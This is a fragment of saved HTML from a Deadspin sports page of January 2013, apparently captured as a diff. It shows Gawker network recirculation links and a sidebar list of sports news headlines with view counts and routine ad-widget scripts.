+ <a href="http://lifehacker.com/5978779/do-everything-with-a-raspberry-pi-switch-to-an-online-bank-and-get-a-job-you-love?utm_source=deadspin.com&utm_medium=recirculation&utm_campaign=recirculation" class="nocapture"><img width="130" height="72" src="./deadspin_files/micro(5).jpg" title="Do Everything With a Raspberry Pi, Switch to an Online Bank, and Get a Job You Love" class="editorial"></a>
+ <p><a href="http://lifehacker.com/5978779/do-everything-with-a-raspberry-pi-switch-to-an-online-bank-and-get-a-job-you-love?utm_source=deadspin.com&utm_medium=recirculation&utm_campaign=recirculation">Do Everything With a Raspberry Pi, Switch to an Online Bank, and Get a Job You Love</a></p>
+ </div>
+ <div id="ad_placeholder_300x250_footer" style="display: none;"></div>
+ <div class="site site-kotaku">
+ <a class="marked-head kotaku-head kotaku-border heading nocapture" href="http://kotaku.com/"><img src="./deadspin_files/kotaku.png"></a>
+ <a href="http://kotaku.com/5978893/play-the-cave-youll-see-awesome-art-like-this?utm_source=deadspin.com&utm_medium=recirculation&utm_campaign=recirculation" class="nocapture"><img width="130" height="72" src="./deadspin_files/micro(6).jpg" title="Play The Cave. You'll See Awesome Art Like This." class="editorial"></a>
+ <p><a href="http://kotaku.com/5978893/play-the-cave-youll-see-awesome-art-like-this?utm_source=deadspin.com&utm_medium=recirculation&utm_campaign=recirculation">Play <em>The Cave</em>. You'll See Awesome Art Like This.</a></p>
+ </div>
+ <div class="site site-jezebel last">
+ <a class="marked-head jezebel-head jezebel-border heading nocapture" href="http://jezebel.com/"><img src="./deadspin_files/jezebel.png"></a>
+ <a href="http://jezebel.com/5978764/ten-reasons-why-its-not-pathetic-for-a-grown-woman-to-go-see-nkotb?utm_source=deadspin.com&utm_medium=recirculation&utm_campaign=recirculation" class="nocapture"><img width="130" height="72" src="./deadspin_files/micro(7).jpg" title="Ten Reasons Why It's Not Pathetic for a Grown Woman to Go See NKOTB" class="editorial"></a>
+ <p><a href="http://jezebel.com/5978764/ten-reasons-why-its-not-pathetic-for-a-grown-woman-to-go-see-nkotb?utm_source=deadspin.com&utm_medium=recirculation&utm_campaign=recirculation">Ten Reasons Why It's Not Pathetic for a Grown Woman to Go See NKOTB</a></p>
+ </div>
+ <div class="site site-io9 first">
+ <a class="marked-head io9-head io9-border heading nocapture" href="http://io9.com/"><img src="./deadspin_files/io9.png"></a>
+ <a href="http://io9.com/5978701/the-35-greatest-supervillain-musical-numbers-of-all-time?utm_source=deadspin.com&utm_medium=recirculation&utm_campaign=recirculation" class="nocapture"><img width="130" height="72" src="./deadspin_files/micro(8).jpg" title="The 36 Greatest Supervillain Musical Numbers of All Time" class="editorial"></a>
+ <p><a href="http://io9.com/5978701/the-35-greatest-supervillain-musical-numbers-of-all-time?utm_source=deadspin.com&utm_medium=recirculation&utm_campaign=recirculation">The 36 Greatest Supervillain Musical Numbers of All Time</a></p>
+ </div>
+ <div class="site site-jalopnik">
+ <a class="marked-head jalopnik-head jalopnik-border heading nocapture" href="http://jalopnik.com/"><img src="./deadspin_files/jalopnik.png"></a>
+ <a href="http://jalopnik.com/5978728/engineer-dad-builds-his-son-the-best-toy-car-weve-ever-seen?utm_source=deadspin.com&utm_medium=recirculation&utm_campaign=recirculation" class="nocapture"><img width="130" height="72" src="./deadspin_files/micro(9).jpg" title="Engineer Dad Builds His Son The Best Toy Car We've Ever Seen" class="editorial"></a>
+ <p><a href="http://jalopnik.com/5978728/engineer-dad-builds-his-son-the-best-toy-car-weve-ever-seen?utm_source=deadspin.com&utm_medium=recirculation&utm_campaign=recirculation">Engineer Dad Builds His Son The Best Toy Car We've Ever Seen</a></p>
+ </div>
+ <div class="site site-gizmodo">
+ <a class="marked-head gizmodo-head gizmodo-border heading nocapture" href="http://gizmodo.com/"><img src="./deadspin_files/gizmodo.png"></a>
+ <a href="http://gizmodo.com/5978740/us-military-to-install-laser-turrets-in-combat-airplanes?utm_source=deadspin.com&utm_medium=recirculation&utm_campaign=recirculation" class="nocapture"><img width="130" height="72" src="./deadspin_files/micro(10).jpg" title="US Military Will Install Laser Turrets on Bombers and Fighter Jets" class="editorial"></a>
+ <p><a href="http://gizmodo.com/5978740/us-military-to-install-laser-turrets-in-combat-airplanes?utm_source=deadspin.com&utm_medium=recirculation&utm_campaign=recirculation">US Military Will Install Laser Turrets on Bombers and Fighter Jets</a></p>
+ </div>
+</div> </div>
+
+ <script type="text/javascript">
+ window.post_data = {"img_data":null,"hyperion":{"tags":["mantiteo","nfl","catfishing","hoaxes","lennaykekua","news","top","nosuchdame"],"issued":1359068417}};
+ GawkerClientside.pushWidget('post', jQuery('div.post').PostWidget(post_data).data('PostWidget'));
+ </script>
+
+ <div id="rightwrapper">
+ <div id="rightcontainer">
+ <div id="hidescroll" style="display: block; "></div>
+ <div id="rightbar-header" class="modfont marked marked-head ui-border">
+ <div id="auth">
+ <div id="user" class="user_control cn_profile_panel" style="display: none;">
+ <a href="http://deadspin.com/#" class="user_control cn_profile_link"></a>
+ <div id="userMenu" class="user_control cn_user_menu box" style="display: none;">
+ <div id="userNotificationContainer" class="notifications modfont"></div>
+ <div id="clearNotifications" style="display: none">Clear notifications ×</div>
+ <ul id="profile_actions">
+ <li><a href="http://deadspin.com/me" class="user_control cn_goto_profile">Profile</a></li>
+ <li><a class="user_control cn_logout_link" href="http://deadspin.com/#">Logout</a></li>
+ </ul>
+ </div>
+ </div>
+ <div id="login" class="user_control cn_login_panel" style="display: block;">
+ <a class="user_control cn_togglelogindialog" href="http://deadspin.com/#">Sign in</a>
+ </div>
+</div> <div id="rightbar_pin_container">
+ <a href="http://deadspin.com/#" id="rightbar_pin" class="modfont viewSelector cn_eye" title="Change the layout of the page"></a>
+ <div class="ui-dropdown modfont site-bg-color">
+ <ul>
+ <li id="onepane"><a href="http://deadspin.com/#" class="viewSelector cn_traditional"><span>Traditional</span><small>Entire page scrolls</small></a></li>
+ <li id="twopane"><a href="http://deadspin.com/#" class="viewSelector cn_twopane"><span>Two panes</span><small>Sidebar scrolls independently</small></a></li>
+ <li id="blog"><a class="viewSelector" href="http://blog.deadspin.com/"><span>Blog view</span><small>Listing of stories by date</small></a></li>
+ </ul>
+ </div> </div>
+
+ <a href="http://deadspin.com/search" class="search tool rightBarControl cn_search_open"></a>
+
+ <span class="date modfont">Friday, Jan 25, 2013</span>
+
+ <div class="ui-dropdown modfont site-bg-color" id="sidebarmode">
+ <span class="selected">Latest Stories</span><span class="downarrow"></span>
+ <ul>
+ <li id="switch_latest">
+ <a href="http://deadspin.com/#" class="tool home rightBarControl cn_home"><span>Latest Stories</span></a>
+ </li>
+ <li id="switch_popular">
+ <a href="http://deadspin.com/#" class="tool popular rightBarControl cn_popular"><span>Most Popular</span></a>
+ </li>
+ <li id="switch_commented">
+ <a href="http://deadspin.com/#" class="tool commented rightBarControl cn_commented"><span>Most Discussed</span></a>
+ </li>
+ </ul>
+ </div>
+
+ <div id="notifications">
+ <div id="rightbar_notification_container" class="inner">
+ <div id="user_notification" style="display: none;">
+ <div class="cn_user_header notificationControl notifbadge" style="display: none;"></div>
+ <div class="cn_user_list notificationControl"></div>
+ </div>
+ <div id="breaking_notification" style="display: none;"></div>
+ <div id="post_notification" class="notifbadge" style="display: none;">
+ <div class="cn_wrap notificationControl"></div>
+ </div>
+ <div id="post_notification_overlay" style="display: none;"></div>
+ <div style="clear: both;"></div>
+ </div>
+ </div>
+</div> <div class="scrollwrap">
+ <div class="wrap" style="height: 932px;">
+ <div class="innerWrap">
+
+
+
+ <div id="tomorrowsnews" style=""><span class="site-forecolor modfont">Sports News Without<br>Access, Favor, or Discretion</span></div>
+ <div class="ad_300x250 rightbar"><!-- widget container -->
+<div id="ad_container_91447176" class="ad_container 300x250 rightbar" style="display: none;">
+
+<iframe id="ad_iframe_91447176" frameborder="0" scrolling="no" vspace="0" marginwidth="0" marginheight="0" hspace="0" allowtransparency="true" width="300" height="250" src="./deadspin_files/ad_iframe(15).htm"></iframe></div>
+
+<!-- widget startup -->
+<!-- runScript --><script type="text/javascript">
+ jQuery('#ad_container_91447176').HyperionAd_300x250_rightbar({"hyperion_class":"HyperionAd_300x250_rightbar","mode":"iframe","width":300,"height":250,"refreshable":false,"size":"300x250","adserver_host":"hyperion.gawker.com","request_ad":true,"hide":true,"run_ad":true,"site":"gm.deadspin","site_id":"11","keywords":["mtfIFPath=\/assets\/vendor\/doubleclick\/"],"random":91447176,"variant":"rightbar","fallback_zone":"front","iframe_attributes":{"id":"ad_iframe_91447176","frameBorder":0,"sc [...]
+</script></div>
+
+ <ul id="post_list">
+ <li id="rbpost_5978888" class="postid_5978888 issued_1359085800 latestpost">
+ <div class="wrapper">
+ <div class="thumb_container">
+ <a class="thumbLink" href="http://deadspin.com/5978888/rob-ryan-was-out-of-work-for-22987-minutes">
+ <img class="thumb" src="./deadspin_files/xsmall.jpg" width="80" height="45" alt="">
+ </a>
+ </div>
+
+ <div class="stamp_container" style="display: none;">
+ <div class="ad_80x45 default"><!-- widget container -->
+<div id="ad_container_15617254" class="ad_container 80x45 default" style="display: none;">
+
+<iframe id="ad_iframe_15617254" frameborder="0" scrolling="no" vspace="0" marginwidth="0" marginheight="0" hspace="0" allowtransparency="true" width="80" height="45" src="./deadspin_files/ad_iframe.htm"></iframe></div>
+
+<!-- widget startup -->
+<!-- runScript --><script type="text/javascript">
+ jQuery('#ad_container_15617254').HyperionAd_80x45_default({"hyperion_class":"HyperionAd_80x45_default","mode":"iframe","width":80,"height":45,"size":"80x45","adserver_host":"hyperion.gawker.com","request_ad":true,"hide":true,"run_ad":true,"site":"gm.deadspin","site_id":"11","keywords":["mtfIFPath=\/assets\/vendor\/doubleclick\/"],"random":15617254,"variant":"default","tags":["robryan","stlouisrams","dallascowboys","nfl","gettypics"],"headline":"Rob Ryan Was Out Of Work For 22,987 Minute [...]
+</script></div> </div>
+
+ <div class="text">
+
+ <a href="http://deadspin.com/rob-ryan/" class="tag modfont">
+ <span class="taglink">rob ryan</span>
+ </a>
+
+ <span class="timestamp ui-light airport modfont" style="opacity: 1; display: none;">10:50 PM</span>
+ <span class="views ui-light airport modfont highlight" style="opacity: 1;" title="11450 pageviews, 607 visitors, 8 comments" alt="11450 pageviews, 607 visitors, 8 comments">11,450</span>
+
+ <a class="headline" href="http://deadspin.com/5978888/rob-ryan-was-out-of-work-for-22987-minutes">
+ <span class="headline-txt">Rob Ryan Was Out Of Work For 22,987 Minutes<span class="broughtby"></span></span></a>
+
+ </div>
+ <div class="clear"></div>
+ </div>
+ </li>
+
+ <li id="rbpost_5978857" class="postid_5978857 issued_1359074401 video ">
+ <div class="wrapper">
+ <div class="thumb_container">
+ <a class="thumbLink autoplay" href="http://deadspin.com/5978857/deadspin-up-all-night-tomorrow-wont-be-made-for-you">
+ <img class="thumb" src="./deadspin_files/xsmall(1).jpg" width="80" height="45" alt="">
+ <img src="./deadspin_files/icon-video.png" class="icon video">
+ </a>
+ </div>
+
+ <div class="stamp_container" style="display: none;">
+ <div class="ad_80x45 default"><!-- widget container -->
+<div id="ad_container_18223407" class="ad_container 80x45 default" style="display: none;">
+
+<iframe id="ad_iframe_18223407" frameborder="0" scrolling="no" vspace="0" marginwidth="0" marginheight="0" hspace="0" allowtransparency="true" width="80" height="45" src="./deadspin_files/ad_iframe(1).htm"></iframe></div>
+
+<!-- widget startup -->
+<!-- runScript --><script type="text/javascript">
+ jQuery('#ad_container_18223407').HyperionAd_80x45_default({"hyperion_class":"HyperionAd_80x45_default","mode":"iframe","width":80,"height":45,"size":"80x45","adserver_host":"hyperion.gawker.com","request_ad":true,"hide":true,"run_ad":true,"site":"gm.deadspin","site_id":"11","keywords":["mtfIFPath=\/assets\/vendor\/doubleclick\/"],"random":18223407,"variant":"default","tags":["duan!","deadspinupallnight"],"headline":"Deadspin Up All Night: Tomorrow Won't Be Made For You","issued":"Fri, 2 [...]
+</script></div> </div>
+
+ <div class="text">
+
+ <a href="http://deadspin.com/duan%21/" class="tag modfont">
+ <span class="taglink">DUAN!</span>
+ </a>
+
+ <span class="timestamp ui-light airport modfont" style="opacity: 1; display: none;">7:40 PM</span>
+ <span class="views ui-light airport modfont" style="opacity: 1;" title="1802 pageviews, 25 visitors, 82 comments" alt="1802 pageviews, 25 visitors, 82 comments">1,802</span>
+
+ <a class="headline autoplay" href="http://deadspin.com/5978857/deadspin-up-all-night-tomorrow-wont-be-made-for-you">
+ <span class="headline-txt">Deadspin Up All Night: Tomorrow Won’t Be Made For You<span class="broughtby"></span></span></a>
+
+ </div>
+ <div class="clear"></div>
+ </div>
+ </li>
+
+ <li id="rbpost_5978850" class="postid_5978850 issued_1359073200 ">
+ <div class="wrapper">
+ <div class="thumb_container">
+ <a class="thumbLink" href="http://deadspin.com/5978850/sean-payton-has-been-back-for-two-days-and-already-fired-two-coaches">
+ <img class="thumb" src="./deadspin_files/xsmall(2).jpg" width="80" height="45" alt="">
+ </a>
+ </div>
+
+ <div class="stamp_container" style="display: none;">
+ <div class="ad_80x45 default"><!-- widget container -->
+<div id="ad_container_36796514" class="ad_container 80x45 default" style="display: none;">
+ <iframe id="ad_iframe_36796514" frameborder="0" scrolling="no" vspace="0" marginwidth="0" marginheight="0" hspace="0" allowtransparency="true" width="80" height="45"></iframe>
+</div>
+
+<!-- widget startup -->
+<!-- runScript --><script type="text/javascript">
+ jQuery('#ad_container_36796514').HyperionAd_80x45_default({"hyperion_class":"HyperionAd_80x45_default","mode":"iframe","width":80,"height":45,"size":"80x45","adserver_host":"hyperion.gawker.com","request_ad":true,"hide":true,"run_ad":true,"site":"gm.deadspin","site_id":"11","keywords":["mtfIFPath=\/assets\/vendor\/doubleclick\/"],"random":36796514,"variant":"default","tags":["neworleanssaints","seanpayton","stevespagnuolo","kenflajole","defense","coaches","news","gettypic"],"headline":" [...]
+</script></div> </div>
+
+ <div class="text">
+
+ <a href="http://deadspin.com/new-orleans-saints/" class="tag modfont">
+ <span class="taglink">new orleans saints</span>
+ </a>
+
+ <span class="timestamp ui-light airport modfont" style="opacity: 1; display: none;">7:20 PM</span>
+ <span class="views ui-light airport modfont highlight" style="opacity: 1;" title="15806 pageviews, 451 visitors, 14 comments" alt="15806 pageviews, 451 visitors, 14 comments">15,806</span>
+
+ <a class="headline" href="http://deadspin.com/5978850/sean-payton-has-been-back-for-two-days-and-already-fired-two-coaches">
+ <span class="headline-txt">Sean Payton Has Been Back For Two Days And Already Fired Two Coaches<span class="broughtby"></span></span></a>
+
+ </div>
+ <div class="clear"></div>
+ </div>
+ </li>
+
+ <li id="rbpost_5978831" class="postid_5978831 issued_1359072350 ">
+ <div class="wrapper">
+ <div class="thumb_container">
+ <a class="thumbLink" href="http://deadspin.com/5978831/arizonas-justification-for-trading-justin-upton-is-insufferable">
+ <img class="thumb" src="./deadspin_files/xsmall(3).jpg" width="80" height="45" alt="">
+ </a>
+ </div>
+
+ <div class="stamp_container" style="display: none;">
+ <div class="ad_80x45 default"><!-- widget container -->
+<div id="ad_container_23811886" class="ad_container 80x45 default" style="display: none;">
+ <iframe id="ad_iframe_23811886" frameborder="0" scrolling="no" vspace="0" marginwidth="0" marginheight="0" hspace="0" allowtransparency="true" width="80" height="45"></iframe>
+</div>
+
+<!-- widget startup -->
+<!-- runScript --><script type="text/javascript">
+ jQuery('#ad_container_23811886').HyperionAd_80x45_default({"hyperion_class":"HyperionAd_80x45_default","mode":"iframe","width":80,"height":45,"size":"80x45","adserver_host":"hyperion.gawker.com","request_ad":true,"hide":true,"run_ad":true,"site":"gm.deadspin","site_id":"11","keywords":["mtfIFPath=\/assets\/vendor\/doubleclick\/"],"random":23811886,"variant":"default","tags":["justinupton","arizonadiamondbacks","atlantabraves","martinprado","trades","mlb","news","gettypic"],"headline":"A [...]
+</script></div> </div>
+
+ <div class="text">
+
+ <a href="http://deadspin.com/justin-upton/" class="tag modfont">
+ <span class="taglink">justin upton</span>
+ </a>
+
+ <span class="timestamp ui-light airport modfont" style="opacity: 1; display: none;">7:05 PM</span>
+ <span class="views ui-light airport modfont highlight" style="opacity: 1;" title="20549 pageviews, 606 visitors, 56 comments" alt="20549 pageviews, 606 visitors, 56 comments">20,549</span>
+
+ <a class="headline" href="http://deadspin.com/5978831/arizonas-justification-for-trading-justin-upton-is-insufferable">
+ <span class="headline-txt">Arizona’s Justification For Trading Justin Upton Is Insufferable<span class="broughtby"></span></span></a>
+
+ </div>
+ <div class="clear"></div>
+ </div>
+ </li>
+
+ <li id="rbpost_5978835" class="postid_5978835 issued_1359069354 ">
+ <div class="wrapper">
+ <div class="thumb_container">
+ <a class="thumbLink" href="http://deadspin.com/5978835/fred-smoot-who-double+donged-two-hookers-peed-his-pants-after-being-arrested-for-dui">
+ <img class="thumb" src="./deadspin_files/xsmall(4).jpg" width="80" height="45" alt="">
+ </a>
+ </div>
+
+ <div class="stamp_container" style="display: none;">
+ <div class="ad_80x45 default"><!-- widget container -->
+<div id="ad_container_55706808" class="ad_container 80x45 default" style="display: none;">
+
+<iframe id="ad_iframe_55706808" frameborder="0" scrolling="no" vspace="0" marginwidth="0" marginheight="0" hspace="0" allowtransparency="true" width="80" height="45" src="./deadspin_files/ad_iframe(8).htm"></iframe></div>
+
+<!-- widget startup -->
+<!-- runScript --><script type="text/javascript">
+ jQuery('#ad_container_55706808').HyperionAd_80x45_default({"hyperion_class":"HyperionAd_80x45_default","mode":"iframe","width":80,"height":45,"size":"80x45","adserver_host":"hyperion.gawker.com","request_ad":true,"hide":true,"run_ad":true,"site":"gm.deadspin","site_id":"11","keywords":["mtfIFPath=\/assets\/vendor\/doubleclick\/"],"random":55706808,"variant":"default","tags":["fredsmoot","policeblotter","dui","washingtonredskins","nfl","news","appic"],"headline":"Fred Smoot, Who Double-D [...]
+</script></div> </div>
+
+ <div class="text">
+
+ <a href="http://deadspin.com/fred-smoot/" class="tag modfont">
+ <span class="taglink">fred smoot</span>
+ </a>
+
+ <span class="timestamp ui-light airport modfont" style="opacity: 1; display: none;">6:15 PM</span>
+ <span class="views ui-light airport modfont highlight" style="opacity: 1;" title="27420 pageviews, 1325 visitors, 25 comments" alt="27420 pageviews, 1325 visitors, 25 comments">27,420</span>
+
+ <a class="headline" href="http://deadspin.com/5978835/fred-smoot-who-double+donged-two-hookers-peed-his-pants-after-being-arrested-for-dui">
+ <span class="headline-txt">Fred Smoot, Who Double-Donged Two Hookers, Peed His Pants After Being Arrested For DUI<span class="broughtby"></span></span></a>
+
+ </div>
+ <div class="clear"></div>
+ </div>
+ </li>
+
+ <li id="rbpost_5978599" class="postid_5978599 issued_1359069007 video ">
+ <div class="wrapper">
+ <div class="thumb_container">
+ <a class="thumbLink autoplay" href="http://deadspin.com/5978599/rating-every-sketch-in-kentucky-fried-movie-the-film-movie-43-wanted-to-be">
+ <img class="thumb" src="./deadspin_files/xsmall(5).jpg" width="80" height="45" alt="">
+ <img src="./deadspin_files/icon-video.png" class="icon video">
+ </a>
+ </div>
+
+ <div class="stamp_container" style="display: none;">
+ <div class="ad_80x45 default"><!-- widget container -->
+<div id="ad_container_63810378" class="ad_container 80x45 default" style="display: none;">
+
+<iframe id="ad_iframe_63810378" frameborder="0" scrolling="no" vspace="0" marginwidth="0" marginheight="0" hspace="0" allowtransparency="true" width="80" height="45" src="./deadspin_files/ad_iframe(12).htm"></iframe></div>
+
+<!-- widget startup -->
+<!-- runScript --><script type="text/javascript">
+ jQuery('#ad_container_63810378').HyperionAd_80x45_default({"hyperion_class":"HyperionAd_80x45_default","mode":"iframe","width":80,"height":45,"size":"80x45","adserver_host":"hyperion.gawker.com","request_ad":true,"hide":true,"run_ad":true,"site":"gm.deadspin","site_id":"11","keywords":["mtfIFPath=\/assets\/vendor\/doubleclick\/"],"random":63810378,"variant":"default","tags":["griersonleitch","movies","theprojector","emeritus","news","movie43","thekentuckyfriedmovie","airplane!"],"headli [...]
+</script></div> </div>
+
+ <div class="text">
+
+ <a href="http://deadspin.com/grierson-%26-leitch/" class="tag modfont">
+ <span class="taglink">Grierson & Leitch</span>
+ </a>
+
+ <span class="timestamp ui-light airport modfont" style="opacity: 1; display: none;">6:10 PM</span>
+ <span class="views ui-light airport modfont highlight" style="opacity: 1;" title="11717 pageviews, 472 visitors, 31 comments" alt="11717 pageviews, 472 visitors, 31 comments">11,717</span>
+
+ <a class="headline autoplay" href="http://deadspin.com/5978599/rating-every-sketch-in-kentucky-fried-movie-the-film-movie-43-wanted-to-be">
+ <span class="headline-txt">Rating Every Sketch In <em>Kentucky Fried Movie</em>, The Film <em>Movie 43</em> Wanted to Be<span class="broughtby"></span></span></a>
+
+ </div>
+ <div class="clear"></div>
+ </div>
+ </li>
+
+ <li id="rbpost_5978653" class="postid_5978653 issued_1359068417 ">
+ <div class="wrapper">
+ <div class="thumb_container">
+ <a class="thumbLink" href="http://deadspin.com/5978653/all-football-players-are-suckers-a-former-nfl-no+namer-on-his-lennay-kekua-moment">
+ <img class="thumb" src="./deadspin_files/xsmall(6).jpg" width="80" height="45" alt="">
+ </a>
+ </div>
+
+ <div class="stamp_container" style="display: none;">
+ <div class="ad_80x45 default"><!-- widget container -->
+<div id="ad_container_60580797" class="ad_container 80x45 default" style="display: none;">
+
+<iframe id="ad_iframe_60580797" frameborder="0" scrolling="no" vspace="0" marginwidth="0" marginheight="0" hspace="0" allowtransparency="true" width="80" height="45" src="./deadspin_files/ad_iframe(10).htm"></iframe></div>
+
+<!-- widget startup -->
+<!-- runScript --><script type="text/javascript">
+ jQuery('#ad_container_60580797').HyperionAd_80x45_default({"hyperion_class":"HyperionAd_80x45_default","mode":"iframe","width":80,"height":45,"size":"80x45","adserver_host":"hyperion.gawker.com","request_ad":true,"hide":true,"run_ad":true,"site":"gm.deadspin","site_id":"11","keywords":["mtfIFPath=\/assets\/vendor\/doubleclick\/"],"random":60580797,"variant":"default","tags":["mantiteo","nfl","catfishing","hoaxes","lennaykekua","news","top","nosuchdame"],"headline":"All Football Players [...]
+</script></div> </div>
+
+ <div class="text">
+
+ <a href="http://deadspin.com/manti-te.o/" class="tag modfont">
+ <span class="taglink">manti te'o</span>
+ </a>
+
+ <span class="timestamp ui-light airport modfont" style="opacity: 1; display: none;">6:00 PM</span>
+ <span class="views ui-light airport modfont highlight" style="opacity: 1;" title="50413 pageviews, 4465 visitors, 62 comments" alt="50413 pageviews, 4465 visitors, 62 comments">50,413</span>
+
+ <a class="headline" href="http://deadspin.com/5978653/all-football-players-are-suckers-a-former-nfl-no+namer-on-his-lennay-kekua-moment">
+ <span class="headline-txt">All Football Players Are Suckers: An NFL No-Namer On His Catfishy Moment<span class="broughtby"></span></span></a>
+
+ </div>
+ <div class="clear"></div>
+ </div>
+ </li>
+
+ <li id="rbpost_5978820" class="postid_5978820 issued_1359066900 ">
+ <div class="wrapper">
+ <div class="thumb_container">
+ <a class="thumbLink" href="http://deadspin.com/5978820/rachel-nichols-needs-to-get-a-new-twitter-handle">
+ <img class="thumb" src="./deadspin_files/xsmall.png" width="80" height="45" alt="">
+ </a>
+ </div>
+
+ <div class="stamp_container" style="display: none;">
+ <div class="ad_80x45 default"><!-- widget container -->
+<div id="ad_container_76141023" class="ad_container 80x45 default" style="display: none;">
+ <iframe id="ad_iframe_76141023" frameborder="0" scrolling="no" vspace="0" marginwidth="0" marginheight="0" hspace="0" allowtransparency="true" width="80" height="45"></iframe>
+</div>
+
+<!-- widget startup -->
+<!-- runScript --><script type="text/javascript">
+ jQuery('#ad_container_76141023').HyperionAd_80x45_default({"hyperion_class":"HyperionAd_80x45_default","mode":"iframe","width":80,"height":45,"size":"80x45","adserver_host":"hyperion.gawker.com","request_ad":true,"hide":true,"run_ad":true,"site":"gm.deadspin","site_id":"11","keywords":["mtfIFPath=\/assets\/vendor\/doubleclick\/"],"random":76141023,"variant":"default","tags":["rachelnichols","espn","twitter","rachelnicholstwitter","news","rachelnicholscnn"],"headline":"Rachel Nichols Nee [...]
+</script></div> </div>
+
+ <div class="text">
+
+ <a href="http://deadspin.com/rachel-nichols/" class="tag modfont">
+ <span class="taglink">rachel nichols</span>
+ </a>
+
+ <span class="timestamp ui-light airport modfont" style="opacity: 1; display: none;">5:35 PM</span>
+ <span class="views ui-light airport modfont highlight" style="opacity: 1;" title="43674 pageviews, 1136 visitors, 38 comments" alt="43674 pageviews, 1136 visitors, 38 comments">43,674</span>
+
+ <a class="headline" href="http://deadspin.com/5978820/rachel-nichols-needs-to-get-a-new-twitter-handle">
+ <span class="headline-txt">Rachel Nichols Needs To Get A New Twitter Handle<span class="broughtby"></span></span></a>
+
+ </div>
+ <div class="clear"></div>
+ </div>
+ </li>
+
+ <li id="rbpost_5978802" class="postid_5978802 issued_1359066600 noThumb blip ">
+ <div class="wrapper">
+ <div class="stamp_container" style="display: none;">
+ <div class="ad_80x45 default"><!-- widget container -->
+<div id="ad_container_62767735" class="ad_container 80x45 default" style="display: none;">
+ <iframe id="ad_iframe_62767735" frameborder="0" scrolling="no" vspace="0" marginwidth="0" marginheight="0" hspace="0" allowtransparency="true" width="80" height="45"></iframe>
+</div>
+
+<!-- widget startup -->
+<!-- runScript --><script type="text/javascript">
+ jQuery('#ad_container_62767735').HyperionAd_80x45_default({"hyperion_class":"HyperionAd_80x45_default","mode":"iframe","width":80,"height":45,"size":"80x45","adserver_host":"hyperion.gawker.com","request_ad":true,"hide":true,"run_ad":true,"site":"gm.deadspin","site_id":"11","keywords":["mtfIFPath=\/assets\/vendor\/doubleclick\/"],"random":62767735,"variant":"default","tags":["blip"],"headline":"Rachel Nichols is leaving ESPN after nine","issued":"Thu, 24 Jan 2013 22:30:00 +0000","post_i [...]
+</script></div> </div>
+
+ <div class="text">
+
+
+ <span class="headline-txt">
+<p><a href="http://deadspin.com/5978802/" class="headline" style="display: inline; text-decoration: none;">Rachel Nichols is leaving ESPN after </a><a href="http://cnnpressroom.blogs.cnn.com/2013/01/24/rachel-nichols-joins-cnn-and-turner-sports/">nine years</a><a href="http://deadspin.com/5978802/" class="headline" style="display: inline; text-decoration: none;">. She's headed to CNN. Not </a><a href="http://www.cnn.com/cnn-sports-is-changing/">Bleacher Report</a><a href="http://deadspin [...]
+
+ </div>
+ <div class="clear"></div>
+ </div>
+ </li>
+
+ <li id="rbpost_5978812" class="postid_5978812 issued_1359065114 ">
+ <div class="wrapper">
+ <div class="thumb_container">
+ <a class="thumbLink" href="http://deadspin.com/5978812/katherine-webb-isnt-darnell-docketts-type-im-not-into-the-thinner-girls">
+ <img class="thumb" src="./deadspin_files/xsmall(7).jpg" width="80" height="45" alt="">
+ </a>
+ </div>
+
+ <div class="stamp_container" style="display: none;">
+ <div class="ad_80x45 default"><!-- widget container -->
+<div id="ad_container_54567811" class="ad_container 80x45 default" style="display: none;">
+
+<iframe id="ad_iframe_54567811" frameborder="0" scrolling="no" vspace="0" marginwidth="0" marginheight="0" hspace="0" allowtransparency="true" width="80" height="45" src="./deadspin_files/ad_iframe(7).htm"></iframe></div>
+
+<!-- widget startup -->
+<!-- runScript --><script type="text/javascript">
+ jQuery('#ad_container_54567811').HyperionAd_80x45_default({"hyperion_class":"HyperionAd_80x45_default","mode":"iframe","width":80,"height":45,"size":"80x45","adserver_host":"hyperion.gawker.com","request_ad":true,"hide":true,"run_ad":true,"site":"gm.deadspin","site_id":"11","keywords":["mtfIFPath=\/assets\/vendor\/doubleclick\/"],"random":54567811,"variant":"default","tags":["katherinewebb","darnelldockett","arizonacardinals","women","gettypic","news","republished","sportsradiointerview [...]
+</script></div> </div>
+
+ <div class="text">
+
+ <a href="http://deadspin.com/katherine-webb/" class="tag modfont">
+ <span class="taglink">katherine webb</span>
+ </a>
+
+ <span class="timestamp ui-light airport modfont" style="opacity: 1; display: none;">5:05 PM</span>
+ <span class="views ui-light airport modfont highlight" style="opacity: 1;" title="22826 pageviews, 994 visitors, 19 comments" alt="22826 pageviews, 994 visitors, 19 comments">22,826</span>
+
+ <a class="headline" href="http://deadspin.com/5978812/katherine-webb-isnt-darnell-docketts-type-im-not-into-the-thinner-girls">
+ <span class="headline-txt">Katherine Webb Isn’t Darnell Dockett’s Type: “I’m Not Into The Thinner Girls”<span class="broughtby"></span></span></a>
+
+ </div>
+ <div class="clear"></div>
+ </div>
+ </li>
+
+ <li id="rbpost_5978707" class="postid_5978707 issued_1359063300 ">
+ <div class="wrapper">
+ <div class="thumb_container">
+ <a class="thumbLink" href="http://deadspin.com/5978707/a-treasure-trove-of-animal-murder-stories-for-your-super-bowl-bye-week">
+ <img class="thumb" src="./deadspin_files/xsmall(8).jpg" width="80" height="45" alt="">
+ </a>
+ </div>
+
+ <div class="stamp_container" style="display: none;">
+ <div class="ad_80x45 default"><!-- widget container -->
+<div id="ad_container_67028395" class="ad_container 80x45 default" style="display: none;">
+ <iframe id="ad_iframe_67028395" frameborder="0" scrolling="no" vspace="0" marginwidth="0" marginheight="0" hspace="0" allowtransparency="true" width="80" height="45"></iframe>
+</div>
+
+<!-- widget startup -->
+<!-- runScript --><script type="text/javascript">
+ jQuery('#ad_container_67028395').HyperionAd_80x45_default({"hyperion_class":"HyperionAd_80x45_default","mode":"iframe","width":80,"height":45,"size":"80x45","adserver_host":"hyperion.gawker.com","request_ad":true,"hide":true,"run_ad":true,"site":"gm.deadspin","site_id":"11","keywords":["mtfIFPath=\/assets\/vendor\/doubleclick\/"],"random":67028395,"variant":"default","tags":["jamboroo","nfl","ballsdeep","animals","top"],"headline":"A Treasure Trove Of Animal Murder Stories For Your Supe [...]
+</script></div> </div>
+
+ <div class="text">
+
+ <a href="http://deadspin.com/jamboroo/" class="tag modfont">
+ <span class="taglink">jamboroo</span>
+ </a>
+
+ <span class="timestamp ui-light airport modfont" style="opacity: 1; display: none;">4:35 PM</span>
